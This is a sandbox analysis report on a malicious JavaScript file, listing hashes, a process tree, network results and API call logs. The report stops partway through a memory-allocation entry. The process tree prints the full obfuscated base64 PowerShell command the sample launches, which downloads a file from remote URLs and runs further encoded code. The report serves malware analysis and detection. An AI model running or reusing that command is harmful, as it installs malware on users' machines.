popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Rszsx.js

Generic Malware Antivirus Hide_URL AntiDebug AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us May 19, 2023, 6:06 p.m. May 19, 2023, 6:08 p.m.
Size 229.7KB
Type ASCII text, with very long lines, with CRLF line terminators
MD5 99d584088d1c742f855f1345dcf541d0
SHA256 1cea0c4b1af9170b9ed2927f3b100d202bebd1b8e69ba1527336aaa6b2c0bffc
CRC32 312E55F5
ssdeep 3072:6CTJOlrO0OWTGhiY+oJZZ/kaI16SFpb1O3cg/leJ1ZKUiP/o/foUqhdIu91tu:6CTolrOHOGhiYF/6T1OV/9vu
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Rszsx.js

    776

    • wscript.exe "C:\Windows\System32\wscript.exe" "C:\Users\test22\AppData\Local\Temp\Rszsx.js" siegeniteMintages confeder zoogleasPipidae

      2152

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABhAGwAYgB1AGMAYQBQAGEAcgB0AHIAaQBkAGcAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGIAdwBCAHoAQQBHAFUAQQBMAGcAQgB0AEEARwA4AEEAYgBRAEEAPQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAVQBBAE4AQQBBAHUAQQBEAEUAQQBNAFEAQQB4AEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBAHgAQQBEAE0AQQBNAGcAQQA9AGQAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABNAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATgBRAEEAMABBAEEAPQA9ACIAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADIAOwAkAHMAdQBiAGwAaQBtAGEAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEkAQQBNAFEAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBAHoAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEAWgBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUARQBBAGIAZwBCADAAQQBHAFUAQQBaAEEAQgBoAEEASABjAEEAYgBnAEIAVQBBAEgASQBBAGEAUQBCAGoAQQBHAGcAQQBiAHcAQgB0AEEARwBFAEEAZABBAEIAdgBBAEgAVQBBAGMAdwBBAHUAQQBHADQAQQBZAFEAQgAyAEEASABrAEEAIgA7ACQAQwBoAHIAaQBzAHQAbwBsAG8AZwBpAGMAYQBsAFMAZQBtAGkAbwByAGIAaQBjAHUAbABhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBMAGcAQQAwAEEARABnAEEATABnAEEAeABBAEQAUQBBAE8AUQBBAD0AIgA7ACQAcABhAGwAZQBvAGcAZQBuAGUAcwBpAHMAUABpAHMAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAYwBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQA0AEEARABjAEEATABnAEEAeQBBAEQASQBBAE4AZwBBAHYAQQBEAEkAQQBhAHcAQgBWAEEARgBrAEEATQBRAEIARwBBAEMAOABBAFYAZwBCADEAQQBEAFUAQQBRAFEAQgBWAEEARgBZAEEAdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGMAQQBMAGcAQQA1AEEARABFAEEATABnAEEANABBAEQAVQBBAEwAZwBBAHgAQQBEAEkAQQBOAEEAQQB2AEEASABBAEEAVABnAEIAWQBBAEYAawBBAEwAdwBBADQAQQBGAGMAQQBOAHcAQgB2AEEARwBZAEEAYgBBAEIAbwBBAEQASQBBAE0AZwBBAD0AdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATQBnAEEAMABBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB5AEEARABFAEEATgBBAEEAdgBBAEgASQBBAFEAUQBCAEIAQQBFADgAQQBkAFEAQgAyAEEARABZAEEATAB3AEEANABBAEgARQBBAGQAUQBCAGsAQQBHADAAQQBNAFEAQgA0AEEARwBJAEEATwBBAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACAAaQBuACAAJABwAGEAbABlAG8AZwBlAG4AZQBzAGkAcwBQAGkAcwBzAGkAbgBnACAALQBzAHAAbABpAHQAIAAiAHUAWABLAFYAIgApACAAewAkAHAAcgBlAGMAYQByAGkAYQBDAHkAbgBvAGMAbABlAHAAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE8AUQBBAHUAQQBEAEUAQQBOAHcAQQAzAEEAQwA0AEEATQBRAEEANQBBAEQAawBBAEwAZwBBADEAQQBEAEUAQQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBADAAQQBDADQAQQBNAFEAQQAwAEEARABZAEEATABnAEEAMgBBAEQAUQBBAEwAZwBBAHgAQQBEAGMAQQBOAEEAQQA9AGUAVgBtAHcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBEAEEARwA4AEEAYgBRAEIAbQBBAEcAOABBAGMAZwBCADAAQQBHAEUAQQBZAGcAQgBzAEEASABrAEEAUQBRAEIAcwBBAEgAVQBBAGIAUQBCAHUAQQBHAGsAQQBZAFEAQgAwAEEARwBVAEEATABnAEIAbABBAEcAUQBBAGQAUQBCAGoAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAPQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE4AQQBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBRAEEANABBAEQARQBBAEwAZwBBAHgAQQBEAFkAQQBOAHcAQQA9ACIAOwB0AHIAeQAgAHsAJABFAG4AZABvAGMAYQByAHAAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE0AUQBBADIAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEAeABBAEQAQQBBAE0AZwBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE4AZwBBADAAQQBDADQAQQBNAFEAQQB6AEEARABjAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAWgBRAEIAcwBBAEgAWQBBAGEAUQBCAHoAQQBHAFUAQQBjAHcAQgBNAEEARwA4AEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHMAQQBHAFUAQQBjAHcAQQB1AEEASABJAEEAZABRAEIAbwBBAEgASQBBAGIAaABZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGEAUQBCAHMAQQBHADgAQQBjAEEAQgB6AEEARwBrAEEAYwB3AEEAdQBBAEcAUQBBAFoAUQBCAGgAQQBHAHcAQQBjAHcAQQA9ACIAOwAkAHAAYQByAGEAZABlAG4AdABpAHUAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACkAKQA7AGkAdwByACAAJABwAGEAcgBhAGQAZQBuAHQAaQB1AG0AIAAtAE8AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBNAFEAQQB1AEEARABnAEEATwBBAEEAdQBBAEQARQBBAE0AZwBBADUAQQBDADQAQQBNAGcAQQB3AEEARABjAEEAIgA7ACQAZQBwAGkAbABvAGcAdQBpAHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAFoAUQBCAHQAQQBIAEEAQQBiAEEAQgB2AEEASABrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAEUAQQBHAGsAQQBaAHcAQgBwAEEASABRAEEAWQBRAEIAcwBBAEcAawBBAFkAdwBBAHUAQQBHAEUAQQBjAHcAQgB6AEEARwA4AEEAWQB3AEIAcABBAEcARQBBAGQAQQBCAGwAQQBIAE0AQQBtAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AUQBBAHkAQQBDADQAQQBNAFEAQQAxAEEARABBAEEATABnAEEAeABBAEQARQBBAE8AQQBBAHUAQQBEAEUAQQBNAFEAQQB5AEEAQQA9AD0AbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBZAFEAQgAwAEEARwBZAEEAYgB3AEIAdgBBAEgAUQBBAFoAUQBCAGsAQQBFAFUAQQBlAEEAQgBoAEEARwA0AEEAZABBAEIAbwBBAEcAVQBBAGIAUQBCAGgAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWQBnAEIAdgBBAEgAVQBBAGQAQQBCAHAAQQBIAEUAQQBkAFEAQgBsAEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIAMgAxADMAOAA5ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARQBrAEEAYgBnAEIAMgBBAEcAVQBBAGMAZwBCADAAQQBHAFUAQQBZAGcAQgB5AEEARwBFAEEAYgBBAEEAdQBBAEgAQQBBAGMAZwBCAGwAQQBHAE0AQQBiAHcAQgB0AEEASABBAEEAYgBBAEIAcABBAEcATQBBAFkAUQBCADAAQQBHAGsAQQBiAGcAQgBuAEEARgBVAEEAYgBnAEIAbQBBAEcARQBBAGEAUQBCADAAQQBHAGcAQQBMAEEAQgBVAEEARwBVAEEAYwB3AEIAMABBAEQAcwBBAFIAUQBCADQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcQBBAEgATQBBACIAOwAkAEMAbwBzAHQAbwB0AG8AbQB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAMwBBAEMANABBAE0AUQBBADEAQQBEAFUAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQARQBBAE8AUQBBAD0AdgBuAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcAZwBBAFoAUQBCAHkAQQBHAGsAQQBaAGcAQgBtAEEARwBVAEEAYwB3AEIAegBBAEYAQQBBAGMAZwBCAGwAQQBHAGsAQQBiAFEAQgBpAEEARwBrAEEAWQBnAEIAbABBAEcAUQBBAEwAZwBCAHAAQQBHADQAQQBjAHcAQgAwAEEARwBrAEEAZABBAEIAMQBBAEgAUQBBAFoAUQBBAD0AIgA7ACQAbgBhAGIAYgBpAG4AZwBTAHUAYgBkAHUAYwBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEANQBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQASQBBAE0AdwBBAD0AZgBaAE0AVQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAHcAQQB1AEEARABFAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABrAEEATwBRAEEAPQAiADsAYgByAGUAYQBrADsAfQBFAHgAcAByAGUAcwBzAGoAcwA7AH0AIABjAGEAdABjAGgAIAB7ACQAYQBzAHMAYQBpAGwAYQBiAGkAbABpAHQAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdQBBAEcAOABBAGIAZwBCAHQAQQBHAGsAQQBZAHcAQgB5AEEARwA4AEEAYwBBAEIAeQBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBiAFEAQgB0AEEARwBVAEEAWgBBAEIAUQBBAEgASQBBAGIAdwBCAHUAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEIAaABBAEcAdwBBAGEAUQBCAHoAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAYwB3AEIAbABBAEEAPQA9AFUAUwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATQBnAEEAMQBBAEQAVQBBAEwAZwBBADUAQQBEAFEAQQBMAGcAQQB4AEEARABnAEEATQBBAEEAPQBVAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAYQBRAEIAegBBAEcAOABBAFoAdwBCADUAQQBHADQAQQBhAFEAQgB6AEEASABRAEEAYwB3AEIAQgBBAEcANABBAGIAdwBCAGsAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAWQBRAEEAdQBBAEcARQBBAGQAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAIgA7ACQAcwBsAGkAcABzAG8AbABlAHMAVAByAGkAbgBjAGgAZQByAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAHcAQQAyAEEAQwA0AEEATQBRAEEANABBAEQASQBBAEwAZwBBAHkAQQBEAEUAQQBOAFEAQQB1AEEARABFAEEATQBBAEEAMwBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBrAEEARwBVAEEAWQB3AEIAaABBAEcAUQBBAFoAUQBCAHoAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEATABnAEIAagBBAEgASQBBAFoAUQBCAGsAQQBHAGsAQQBkAEEAQgBqAEEARwBFAEEAYwBnAEIAawBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQB3AEEAdQBBAEQASQBBAE0AQQBBADIAQQBDADQAQQBNAGcAQQAwAEEARABBAEEATABnAEEAeQBBAEQAQQBBAE8AUQBBAD0AIgA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgBpAEEARwBVAEEAZAB3AEIAcABBAEcAdwBBAFoAQQBCAGwAQQBIAEkAQQBaAFEAQgBrAEEARwB3AEEAZQBRAEIAUABBAEgAVQBBAGQAQQBCADMAQQBIAGMAQQBaAFEAQgB3AEEASABRAEEATABnAEIAbQBBAEgASQBBAGIAQQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBjAHcAQgBwAEEARwBjAEEAYgBnAEIAaABBAEcAdwBBAGIAQQBCAGwAQQBHAFEAQQBWAHcAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgASQBBAEwAZwBCAG4AQQBIAEkAQQBZAFEAQgAwAEEARwBrAEEAYwB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBnAEEAdwBBAEQARQBBAEwAZwBBAHgAQQBEAGMAQQBNAEEAQQA9AFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABnAEEATwBRAEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATwBRAEEAeQBBAEEAPQA9ACIAOwB9AH0AJAB2AGEAcgBzAG8AdgBpAGEAbgBhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAYwBnAEIAdgBBAEgAUQBBAGIAdwBCAGoAQQBHADgAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEEAdQBBAEcAUQBBAGEAUQBCAGgAQQBHADAAQQBiAHcAQgB1AEEARwBRAEEAYwB3AEEAPQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQAUQBBAEwAZwBBADQAQQBEAGMAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADUAQQBBAD0APQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIASgBBAEcANABBAGMAdwBCAGgAQQBHADQAQQBaAFEAQQB1AEEASABjAEEAWgBRAEIAawBBAEcAUQBBAGEAUQBCAHUAQQBHAGMAQQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAdwBBAFoAUQBCAHUAQQBHADQAQQBhAFEAQgBwAEEARwBRAEEATABnAEIAaABBAEcAMABBACIAOwA="

        2304

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005ceb98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005ceb98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005ceb98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005ceb98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005ceb98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005ceb98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf918
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf918
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf918
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf618
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf918
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf918
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf918
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf918
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf918
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf918
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf918
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf758
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf758
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf758
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005cf758
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 917504
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02580000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02620000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2304
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2304
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02621000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02622000
